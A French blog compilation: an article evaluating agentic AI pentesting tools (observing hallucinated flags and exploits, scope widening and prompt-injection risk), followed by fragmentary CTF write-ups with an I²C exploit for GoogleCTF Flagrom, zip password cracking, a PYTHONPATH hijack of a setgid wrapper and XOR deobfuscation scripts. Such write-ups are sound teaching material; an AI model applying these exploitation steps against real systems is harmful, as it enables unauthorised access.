Une architecture commune pour les tests offensifs agentiques

Le paysage actuel est composé d’outils hétérogènes aux stratégies produit et cas d’usage très variés : tests de sécurité web externe, revues d’infrastructure interne et Active Directory, évaluations de sécurité cloud, ou analyse de code source proche du pipeline CI/CD.

Dans leurs meilleures configurations, les systèmes les plus aboutis sont aujourd’hui capables de mener des revues de sécurité statiques et dynamiques autonomes avec de fortes capacités de raisonnement, et un workflow qui ressemble souvent à la posture analytique d’un pentesteur humain.

L’efficacité de beaucoup de ces outils est évaluée en interne ou via des environnements de capture-the-flag, les CTF offrant un moyen objectif de comparer la profondeur de raisonnement, les capacités d’exploitation et l’usage des outils. Malgré la diversité des architectures, on retrouve les composants essentiels suivants dans la plupart des solutions :

• Un orchestrateur : Cette couche coordonne les agents et leur parallélisme, gère les blocages et timeout, orchestre les workflows préconfigurés, et relie les composants en une chaîne d’exécution cohérente.
• Un LLM sous-jacent : Le modèle constitue le noyau cognitif du système, alternant boucles de raisonnement, invocation d’outils et création de sous-agents selon les besoins. La capacité à utiliser des outils est indispensable et les LLM « state-of-the-art » donnent généralement de meilleurs résultats.
• Une boîte à outils offensive : La plupart des plateformes s’appuient sur un kit d’outils conteneurisé globalement aligné sur un standard de type Kali. Le contenu exact varie selon les cas d’usage, mais l’outillage typiquement requis pour des tests web reste par exemple assez standard et limité. De nombreuses solutions permettent également à l’agent de télécharger des outils supplémentaires ou de cloner des dépôts GitHub à la demande.
• Un ensemble de « skills » ou packs de connaissance : Ces bibliothèques locales formalisent une expertise réutilisable, incluant des techniques d’attaque spécifiques à certaines technologies, des cheatsheet de pentesteurs, des workflows d’exploitation standards, ou bien des détails sur les vulnérabilités ou scénarios d’attaque récents

Cette dernière couche est souvent celle où les éditeurs peuvent se différencier le plus clairement. Des capacités solides de veille cyber, de Threat Hunting et de Cyber Threat Intelligence permettent d’actualiser en continu cette base de connaissances et d’améliorer la confiance dans la couverture réelle assurée par ces agents automatisés.

Ces agents étant capables d’exécuter des actions offensives en environnements de production, l’observabilité et la supervision sont essentielles. La plupart des implémentations incluent donc journalisation, télémétrie, et rejeu de session, ainsi que des mécanismes d’approbation humaine pour certaines actions, ou des garde-fous distinguant les modules à faible risque des commandes ou chemins d’exploitation plus dangereux.

Il est également important de distinguer les systèmes pleinement agentiques des produits qui n’utilisent l’IA que de façon sélective. En pratique, de nombreuses plateformes éditeurs reposent sur des workflows majoritairement déterministes, parfois orchestrés par des modèles plus petits et spécialisés, avant de déléguer uniquement les étapes d’exploitation les plus ambiguës à un modèle généraliste plus capable.

Étude de cas : efficacité

Étude de cas : CTF

Pour évaluer l’efficacité actuelle du pentest agentique, nous avons réalisé des tests d’une telle solution (Strix) avec plusieurs modèles différents sur un ensemble interne de challenges CTF Wavestone pour lesquels aucun write-up public n’était disponible. L’objectif n’était pas de comparer des produits entre eux, mais de comprendre comment la qualité du modèle influence les résultats, sur un cas d’usage web.

Le choix de l’exploitation web est pertinent, combinant une large couverture thématique avec des niveaux de difficulté variés. Toutefois, l’exercice ne doit pas être sur-généralisé : il ne représente pas fidèlement d’autres contextes spécifiques tels que les tests internes ou les évaluations Active Directory.

Plusieurs conclusions ont émergé de cet exercice :

• Les résultats ne deviennent véritablement impressionnants que lorsque le système est associé à un modèle LLM de pointe.
• À l’inverse, les modèles pouvant réaliste​ment tourner sur un poste de travail haut de gamme tendent encore à produire des performances médiocres en test offensif, ce qui fait des fournisseurs IA SaaS la seule solution effective aujourd’hui.
• Des modèles puissants peuvent toutefois manquer des vulnérabilités exploitables, tandis que certains modèles de grande taille, mais moins optimisés, peuvent sous-performer, potentiellement car Strix n’a pas été conçu et calibré pour eux.
• Des modèles plus petits font parfois preuve d’éclairs de génie, résolvant des challenges qui résistent aux modèles plus puissants.
• Sans surprise, on observe une tendance persistante à l’hallucination de chemins d’exploitation, notamment lorsque les LLM atteignent une impasse (dans les CTF, cela se manifeste souvent par des flags inventés).
• Pour ne pas polluer leur contexte avec de grands volumes de données, les agents ont tendance à tronquer massivement les données (pages web, fichiers de code, …) et à être trop spécifiques dans leurs recherches (“grep” ou “find”). Dans les deux cas, ce comportement peut limiter leur couverture du périmètre et leur efficacité globale.

Ces résultats doivent être interprétés avec prudence. Pour chaque modèle et chaque challenge, le benchmark a été limité à au plus deux exécutions. Dans plusieurs cas, un modèle pouvait être très proche de la solution avant d’halluciner la dernière étape, ou nécessiter une intervention humaine pour clore l’investigation. Typiquement, ces cas pourraient être rattrapés par une revue humain.

Il est clair que les meilleurs résultats du benchmark ont été obtenus avec des modèles propriétaires de pointe. D’après nos observations, ces modèles peuvent résoudre une part substantielle des tâches offensives tout en restant opérationnellement abordables; du moins tant que les sessions convergent rapidement.

Ce que cela nous montre :

• Le coût par challenge peut rester relativement modeste, de l’ordre de quelques euros lorsque l’agent converge efficacement.
• L’exécution peut être étonnamment rapide, avec de nombreux CTF résolus en moins de cinq minutes lorsque le modèle identifie le bon chemin tôt dans son investigation.
• Les échecs peuvent se révéler coûteux. Sans garde-fous stricts sur la durée et le budget, la consommation de tokens peut augmenter considérablement, et ce sur quelques heures.
• Dans notre configuration, le taux de réussite des modèles commerciaux de pointe étaient identiques, mais l’efficacité variait substantiellement en termes de temps, de consommation de tokens et de nombre d’invocations d’outils. De façon surprenante, dans ce contexte CTF, malgré un prix au token plus élevé pour Sonnet 4.6, le coût total des sessions tend à s’équilibrer avec GPT-5, le modèle d’Anthropic compensant par une meilleure efficacité en tokens. 

Étude de cas : application web réelle

Pour compléter les benchmarks CTF, nous avons également testé l’une de nos applications web développées en interne (utilisée pour la gestion des RH et des performances). Le système a été évalué avec plusieurs approches, notamment des modes authentifiés dans lesquels l’agent se voit fournir des identifiants ou des jetons d’authentification.

Au cours d’une session représentative, 25 agents et sous-agents ont été déployés, 366 appels d’outils ont été exécutés, pour un coût total d’environ 5 USD, la session ayant duré environ une heure. Le rapport généré automatiquement affichait une synthèse managériale, une section méthodologique orientée OWASP, des conclusions techniques avec scoring CVSS v3, ainsi qu’une feuille de route de remédiation priorisée.

Les résultats sont mitigés, mais globalement instructifs après revue humaine et re-test :

• L’agent a identifié plusieurs axes d’amélioration mineurs mais pertinents, bien que les conclusions n’aient pas toujours été bien contextualisées et aient pu devenir excessivement alarmistes.
• Lacune critique : l’agent a complètement manqué une interface d’administration exposée avec des identifiants par défaut; une vulnérabilité qu’aucun pentesteur humain n’aurait ignorée. C’est l’illustration la plus nette du plafond de fiabilité actuel de ces systèmes.
• De plus, le rapport présentait également une vulnérabilité inexistante (confusion d’algorithme JWT) relevée comme critique, accompagné de scripts Proof-of-Exploitation ne fonctionnant logiquement pas. Cela illustre le risque persistant de faux positifs au sein des LLM.

Plusieurs remarques complémentaires :

• Comme pour les benchmarks CTF, la qualité de la revue s’améliore significativement avec un modèle SaaS de pointe.
• La nature non déterministe des LLM reste visible : deux exécutions peuvent produire des conclusions et des rapports substantiellement différents pour une même cible.
• Si les contrôles de périmètre sont insuffisants, certains modèles ont une tendance à élargir le périmètre du pentest, sondant des ports, applications ou sous-domaines adjacents.
• La couverture et la pertinence s’améliorent nettement en modes boîte blanche ou hybride boîte blanche/boîte grise, où l’agent peut inspecter le code source, identifier des faiblesses candidates, puis tenter de les valider dynamiquement sur l’application en production. Même dans ce cas, certains agents peuvent encore se focaliser sur des problèmes inexistants. De plus, en boîte blanche, de très grandes bases de code peuvent saturer le système et réduire l’efficacité globale.
• Les capacités de ces solutions à émuler un comportement humain a nettement progressé, notamment les interactions pilotées avec les navigateurs web. Toutefois, certains types d’applications restent difficiles à évaluer de manière autonome, notamment des cas de figures « multi-fenêtres » ou les clients lourds, pour lesquels une interaction navigateur en mode headless peut ne pas suffire.
• Ces systèmes construisent rarement une compréhension approfondie de la logique métier. Leurs résultats restent fortement alignés sur des patterns génériques de type OWASP et ne challengent pas les risques métier réels ou les scénarios d’attaque de manière suffisamment contextuelle.

On notera que la majorité de ces reproches peuvent également être applicables à des pentesters humains, ces derniers restant toutefois davantage responsabilisable.

Le problème de passage à l’échelle reste central. Les CTF ne sont que partiellement représentatifs des applications réelles. Un CTF aura généralement tendance à guider le participant vers un chemin d’attaque étroit et délibéré, alors que même une application métier modeste exposera une surface bien plus large. Aujourd’hui, garantir une couverture exhaustive pour des applications réelles reste complexe.

Verdict et limites actuelles

Verdict

Si l’on considère des solutions reposant entièrement sur un LLM pour leur arbre de décision, la conclusion est claire à ce stade : seuls les modèles de pointe des principaux fournisseurs IA produisent systématiquement des résultats à la fois pertinents et raisonnablement vérifiables.

Nous pouvons considérer quatre options de déploiement pratiques :

• Les services LLM SaaS, qui offrent actuellement la meilleure qualité via des LLM avancés (>1T paramètres), sur une base de paiement à l’utilisation.
• Les déploiements en grands datacenters privés, capables de faire tourner des modèles puissants (500b) et pouvant devenir de plus en plus pertinents pour le pentest, mais restant encore sensiblement en deçà des meilleurs systèmes frontier commerciaux.
• Les déploiements en datacenters privés plus modestes, capables de faire tourner des modèles compétents (300b), mais clairement insuffisants pour orchestrer efficacement des pentests autonomes.
• Les postes de travail dédiés, qui, même avec des spécifications très élevées, peinent rapidement au-delà de 100b de paramètres et restent largement insuffisants aujourd’hui.

La dépendance aux fournisseurs SaaS soulève des questions inévitables de souveraineté et de confidentialité. Les tests d’intrusion consolident souvent des informations techniques très sensibles sur les faiblesses cyber d’une organisation. L’externalisation des prompts, traces, conclusions ou hypothèses d’attaque nécessite ainsi une gouvernance rigoureuse. En complément, l’anonymisation des données en amont du LLM n’est pas une solution fiable : elle dégrade les performances de l’agent tout en laissant fuiter des métadonnées potentiellement exploitables vers le fournisseur SaaS.

Dans leur état actuel, même équipés des LLMs les plus capables, ces systèmes présentent également des limitations structurelles qui affectent directement la fiabilité :

• Des phénomènes de “tunnel”, avec une fixation trop prolongée de l’agent sur un unique chemin d’attaque non pertinent.
• Une tendance à lancer des activités de bruteforce chronophages et consommatrice sans appréciation de la complexité ou du coût computationnel.
• La problèmatique des hallucinations, sur laquelle d’immenses progrès ont été réalisés, mais qui peut encore affecter les LLM, y compris les plus complexes.

• La nature non déterministe des LLM, rendant certaines exécutions bien moins efficaces et pertinentes que d’autres, confirmant l’utilité de ces agents dans une approche continue ou régulière.
• Des difficultés de passage à l’échelle liées aux contraintes de fenêtre de contexte : ces outils permettent un passage à l’échelle dans le sens où l’on peut lancer autant de sessions parallèles que de cibles. Cependant, le passage à l’échelle est plus complexe lorsqu’une session unique est lancée contre une unique application hautement complexe. Il devient alors beaucoup plus difficile de maintenir une couverture exhaustive et une continuité de mémoire sur des applications larges et riches en contenu. D’importantes améliorations sont possibles sur ce volet, une gestion efficace de la mémoire à long terme permettant des exécutions plus cohérentes pour les grandes applications et améliorant la confiance dans le couverture.
• Une verbosité élevée et une furtivité limitée, qui rendent ces systèmes peu adaptés dans leur configuration par défaut aux opérations Red Team, qui nécessitent davantage de discrétion. Cela peut toutefois être amélioré par une configuration dédiée, sans toutefois promettre d’égaler les capacités d’un Red Teamer humain.

De manière plus générale, un processus autonome piloté en SaaS et ayant la capacité d’exécuter des commandes à distance dans vos SI pose d’emblée la question de la responsabilité :

• Classer les modules comme dangereux ou sûrs peut ne pas suffire, par exemple avec des outils couteaux-suisses, capables d’une reconnaissance anodine et d’exploits agressifs et potentiellement dangereux. Le niveau de menace de chaque commande devrait être évalué dynamiquement, en tenant compte du contexte et des tests précédents.
• S’appuyer sur une approbation humaine peut également avoir ses limites : au même titre que pour les solutions de vibe coding, une « fatigue » humaine peut rapidement s’installer, où les utilisateurs deviennent trop confiants et cessent de remettre en question les conclusions de l’agent.

Et bien entendu, toute vulnérabilité au niveau du LLM, telle qu’une susceptibilité au prompt injection ou à l’empoisonnement, pourrait être exploitée pour détourner l’agent de pentest automatisé. En substance, ces outils autonomes, s’ils sont déployés en interne, doivent être considérés comme des actifs critiques, très interessants pour de potentiels attaquants.

Où l’architecture peut s’améliorer

Au-delà de la qualité du modèle lui-même, une part substantielle des améliorations possibles réside dans la conception globale du système. Plusieurs directions architecturales apparaissent prometteuses :

• Multiplier les sessions et les passes de validation, en utilisant une exploration continue, des phases de zoom ciblées et des boucles de confirmation explicites. La fiabilité s’en voit améliorée, au prix d’une augmentation du coût, de la durée, et de la complexité de la solution.
• Introduire des instances de validation dédiées pour confirmer l’exploitabilité dans un environnement contrôlé avant que les conclusions ne soient intégrées dans un rapport.
• Utiliser des arbres de décision plus légers ou des modules spécialisés en amont de l’exploitation, en réservant les modèles haut de gamme uniquement pour les parties du workflow qui nécessitent vraiment adaptabilité et raisonnement.
• Faire précéder la phase autonome d’une phase préliminaire de tests scriptés, puis alimenter l’agent avec les sorties structurées. C’est approche apparait bien plus rentable que de dépenser du contexte et des tokens LLM sur des tâches déjà faciles à automatiser sans IA. Le principe de base doit être simple : ne pas utiliser l’IA là où l’automatisation conventionnelle fonctionne déjà bien. Déléguer au LLM uniquement les taches véritablement ambiguës, et éviter de surcharger le modèle avec un long historique de commandes.

En pratique, ce dernier point est déjà la direction prise par de nombreuses plateformes éditeurs. Elles ne s’appuient pas entièrement sur l’IA agentique ; elles combinent plutôt une logique déterministe avec une exploitation agentique.

Enfin, une réflexion intéressante : ces solutions automatisées pouvant être utilisées par de vrais attaquants, nous pourrions voir émerger des mécanismes “anti-IA” intégrés dans les applications, tels que des “labyrinthes de liens” et des honeypots draineurs de tokens conçus spécifiquement pour induire en erreur ou épuiser les systèmes de test automatisés.

Avec des modèles suffisamment puissants, les systèmes agentiques peuvent déjà exceller dans des environnements contraints comme les CTF. Leurs performances dans les évaluations d’applications réelles sont plus mitigées : souvent utiles, parfois impressionnantes, mais encore trop incohérentes pour être utilisées sans supervision humaine.

La voie la plus pragmatique aujourd’hui est donc un modèle opérationnel hybride : un système agentique réalisant la majorité des tests et proposant des directions d’investigation, accompagné de pentesters humains arbitrant, validant et prenant le relai dans les cas les plus complexes. On a ainsi une évaluation sécurité bien moins longues, tout en garantissant un degré de couverture et de pertinence des résultats.

L’IA agentique ne s’annonce donc pas comme remplacement à l’humain. À son niveau de maturité actuel, elle est mieux appréhendée comme un multiplicateur de force, capable d’accélérer l’exploration et le tri, mais qui dépend encore de la supervision d’experts pour transformer une activité autonome brute en résultats de sécurité fiables. Dans tous les cas, ces systèmes doivent être considérés comme hautement sensibles en raison de leur nature autonome, et les contraintes actuelles liées aux modèles hébergés en SaaS doivent être prises en compte, en termes de confidentialité des données et de souveraineté numérique.

Sans être encore pleinement matures, ces solutions commencent à laisser une empreinte dans le paysage de la cybersécurité, et modifieront très probablement la trajectoire du marché du pentest, vers un écosystème davantage centré autour d’outils et de ressources de calcul, tout en conservant une approche hybride. Nous pourrions même voir des audits suivre un modèle “Bring Your Own Compute”, où les audités fournissent le LLM, et les auditeurs fournissent les outils et « skills ».

Cet article IA Agentique pour la Sécurité Offensive est apparu en premier sur RiskInsight.

Introduction

This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.

$ LD_PRELOAD=exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
0
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
Clean exit.

void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}

Timing diagram of a I²C communication (source: Wikipedia)

With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:

Then secure the first bank:

 

Finally, start a read action and read past the current bank boundaries:

void seeprom_write_byte(unsigned char addr, unsigned char value) {
seeprom_wait_until_idle();
I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
I2C_LENGTH = 2;
I2C_ERROR_CODE = 0;
I2C_DATA[0] = addr;
I2C_DATA[1] = value;
I2C_RW_MASK = 0b00; // 2x Write Byte

I2C_STATE = 1;
seeprom_wait_until_idle();
}

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

unsigned char i2c_write_byte(unsigned char send_start,
unsigned char send_stop,
unsigned char byte);
unsigned char i2c_read_byte(unsigned char send_stop);

#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)

void main(void) {
int i;
print(« start user program\n »);
/* Load address 0 */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT);
i2c_write_byte(0, 0, 0);
/* Secure all banks */
i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111);
/* Read 255 bytes of memory */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ);
for (i=0; i<255; i++) {
if (i%64 == 0) {
print(« \n »);
}
CHAROUT = i2c_read_byte(0);
}
print(« \n »);
POWEROFF = 1;
}

$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there.
On the real server the flag is loaded here.
Clean exit.

from pwn import *
io = remote(‘flagrom.ctfcompetition.com’, 1337)
ask = io.recvuntil(‘\n’).split()
start, md5 = ask[11], ask[16][:-1]
print « Proof of work with: »
print  » start = %s » % start
print  » md5 = %s » % md5
while True:
r = random.random()
s = start + str(r)
if hashlib.md5(s).hexdigest().startswith(md5):
print « Found %s » % s
break

$ python exploit.py remote hack.c
[+] Starting local process ‘./flagrom’: pid 7333
Sending payload
Received data
———————————-
[+] Receiving all data: Done (467B)
[*] Process ‘./flagrom’ stopped with exit code 0 (pid 7333)
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there
CTF{flagrom-and-on-and-on}
Clean exit.

Cet article GoogleCTF 2019 Quals – Flagrom Challenge Writeup est apparu en premier sur RiskInsight.

• Niveau technique avancé
• Accessibilité géographique
• Événement à taille humaine

Web-serveur : la simplicité (par ShrewkRoot)

Le site se présente sous la forme d’une page blanche contenant une vidéo du rappeur Orelsan :

 

 

Le premier réflexe à adopter dans ce cas est de s’orienter sur la cartographie de l’application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.

En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l’arborescence d’un site :

• /sitemap.xml : fichier XML contenant l’arborescence des différentes sections
• /robots.txt : fichier txt visant à interdire le crawling de certaines sections aux robots

En naviguant sur le second, l’application indique que le fichier backup.zip existe :

Le fichier backup.zip est bien accessible, et une fois téléchargé, demande un mot de passe pour l’extraction :

iansus @ iansus-server ~/rtfm/quals/simple % unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:

Il est facile de procéder au bruteforce de ce mot de passe à l’aide de la liste rockyou.txt (présente par défaut sur Kali Linux) et de l’outil fcrackzip :

iansus @ iansus-server ~/rtfm/quals/simple % fcrackzip -D -p rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == passw0rd

iansus @ iansus-server ~/rtfm/quals/simple % curl -X POST http://iansus.net:4444 –data ‘h1=1539722573.8918’ -s | grep sigsegv
h1 vaut: 0e633901513385170308561908425699</br><!–Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}–><!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>

App-script : Fun avec Python (par laxa)

iansus @ iansus-server ~/rtfm/Qualifications-2018 % ssh -p 4443 chall@iansus.net
chall@iansus.net’s password:
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
aaaaaaaaaaaaaaaaaaaaaa
chall@4e5d88350bfc:~$ ls -l
total 16
-r–r—– 1 root chall-pwned 21 Oct 16 17:13 flag
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Oct 17 17:18 wrapper

#!/usr/bin/python2.7
from colors import colors
def main():
print(‘This is an advanced hello-world’)
print(‘The world is more joyful with colors’)
print(‘So, here we are:’)
print(‘{}Hello-World !{}’.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == ‘__main__’:
main()

chall@4e5d88350bfc:~$ python2.7
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type « help », « copyright », « credits » or « license » for more information.
>>> import colors
>>> colors.__file__
‘/usr/local/lib/python2.7/dist-packages/colors/__init__.py’

class bcolors:
HEADER = ‘\033[95m’
OKBLUE = ‘\033[94m’
OKGREEN = ‘\033[92m’
WARNING = ‘\033[93m’
FAIL = ‘\033[91m’
ENDC = ‘\033[0m’
BOLD = ‘\033[1m’
UNDERLINE = ‘\033[4m’

• Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)
• Avec la variable d’environnement $PYTHONPATH
• Avec le dossier d’installation par défaut des scripts

#!/usr/bin/python2.7
print open(‘/home/chall/flag’, ‘r’).read()
Il est alors possible de récupérer le flag comme suit :
chall@4e5d88350bfc:~$ PYTHONPATH=/tmp ./wrapper
sigsegv{un_flag_ici}
Traceback (most recent call last):
File « /home/chall/hello-world.py », line 3, in <module>
from colors import colors
ImportError: cannot import name colors

Web-client : Javascript Obfusqué (par Synacktiv)

Description : Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d’un fichier HTML qui contient un formulaire pour vérifier le flag :

<html><SCRIPT LANGUAGE=« JavaScript »><!–
document.write(unescape(« %3C%53[..snip..]%54%3E »));//–></SCRIPT><SCRIPT LANGUAGE=« JavaScript »><!–
hp_d01(unescape(« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »));//–></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Il est en général possible de rencontrer deux types d’obfuscation JavaScript :

• La première construit un code qui sera désobfusqué et exécuté grâce à la fonction eval()
• La seconde construit un code qui sera désobfusqué et exécuté en l’ajoutant dynamiquement dans le code de la page, par exemple via document.write()

Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l’inspecteur HTML de Chrome / Firefox / Opera :

Le code complet de la fonction JavaScript est le suivant :
<script language=« JavaScript »>
function Kod(s, pass) {
var i=0;
var BlaBla=«  »;
for(j=0; j<s.length; j++) {
BlaBla += String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));
if (i>=pass.length)
i=0;
}
return(BlaBla);
}
function f(form){
var pass=document.form.pass.value;
var hash=0;
for(j=0; j<pass.length; j++){
var n= pass.charCodeAt(j);
hash += ((n–j+33)^31025);
}
if (hash == 529387) {
var Secret =«  »+« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »+«  »;
var s=Kod(Secret, pass);
document.write (s);
} else {
alert (‘Wrong password!’);
}
}
</script>
Les première analyses du code indiquent que :

• La fonction Kod consiste à réaliser une opération XOR entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer
• La fonction f est appelée sur validation du formulaire et :
  • réalise une vérification sur la clé entrée dans le formulaire (variable hash)
  • déchiffre la variable Secret à l’aide de la clé pour l’afficher sur la page

Il s’agit donc ici d’un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable hash pour évaluer cette longueur.

Cette variable est la somme des (n-j+33)^31025, n étant le code ASCII du caractère et j sa position. Ces éléments sont globalement bornés autour dans l’intervalle 30000-32000. Il est donc facile d’approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077

, soit 17.

« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e » +
« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d » +
« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 » +
« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d » +
« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 » +
« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 » +
« \x1b\x1d\x0a\x1f\x5b »

#!/usr/bin/python
import sys
def xor(a, b):
return  ».join([chr(ord(c)^ord(d)) for c, d in zip(a, b)])
blocks = [
‘\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e’,
‘\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d’,
‘\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18’,
‘\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d’,
‘\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19’,
‘\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52’,
#’\x1b\x1d\x0a\x1f\x5b’
]
pw = sys.argv[1]
for b in blocks:
print ‘[-] Ref is %s’ % repr(b)
for i in range(len(blocks[0])-len(pw)+1):
print ‘[-] At pos %d’ % i
pk = xor(b[i:], pw)
print ‘[-] PK = %s’ % repr(pk)
for b2 in blocks:
if b==b2:
continue
print xor(b2[i:], pk)
print  »

Cryptographie : Un nouveau dialecte (ShrewkRoot)

iansus @ iansus-server ~/rtfm/quals/js % echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C
00000000 c8 83 c7 b9 c7 b7 c8 83 c7 b5 c7 b7 c8 86 c8 8b |…………….|
00000010 c7 9c c7 91 c7 a3 c7 a4 c7 95 c7 97 c7 91 c7 93 |…………….|
00000020 c7 95 c7 a3 c7 a4 c7 a0 c7 91 c7 a3 c7 a3 c7 99 |…………….|
00000030 c7 96 c7 91 c7 93 c7 99 c7 9c c7 95 c8 8d |…………..|
0000003e
On constate alors rapidement que les caractères s’écrivent sur deux octets, et qu’ils se présentent tous sous les forme c7 xx ou c8 yy. Par ailleurs, en supposant que le texte décodé commence par sigsegv{, on remarque que :

• La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s’agit donc probablement d’une substitution monoalphabétique
• La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée c7 b5 et c7 b7 : le décalage entre deux lettres est constant, il s’agit probablement d’une variante du chiffre de César

Description : Faites-moi confiance, XOR n’est pas la solution.

Le challenge se présente sous la forme d’un binaire ELF 64-bit strippé. Ce writeup utilisera Cutter, l’interface graphique de Radare2. Les première étapes sont assez simples, puisque la fonction main ne possède qu’un appel à une autre fonction :

 

 

Si l’on tente d’afficher le graphe de la fonction située à 0x004009e0, l’erreur suivante se produit :

Il s’agit là d’une technique anti-reverse, que l’on peut observer plus en détails dans l’affichage linéaire de Cutter :

 

 

Ci-dessous le détail des instructions :

• push rax : sauvegarde la valeur courante de RAX sur la pile
• xor eax, eax : remet la valeur de EAX à 0
• test eax, eax : teste si la valeur de EAX est nulle et fixe le flag Z à 1
• pop rax : récupère la valeur sauvegardée de RAX depuis la pile
• jne 0x4009ee : saute à l’adresse indiquée si le flag Z vaut 0 (non pris)
• je 0x4009ef : saute à l’adresse indiquée si le flag Z vaut 1 (pris)

Seulement, les instructions à l’adresse 0x4009ef ne sont pas désassemblées puisqu’une instruction jmp commence à l’octet précédent. Le saut à l’octet précédent n’étant jamais emprunté, il est possible d’ignorer cette instruction et de demander le désassemblage à partir de 0x4009ef.

Pour cela, un clic-droit à l’adresse 0x4009ee fait apparaître le menu suivant :

Il est alors possible d’observer le code qui devrait être normalement exécuté :

En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.

L’analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d’identifier la fonction qui gère le flag, sub.BB_7c2. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :

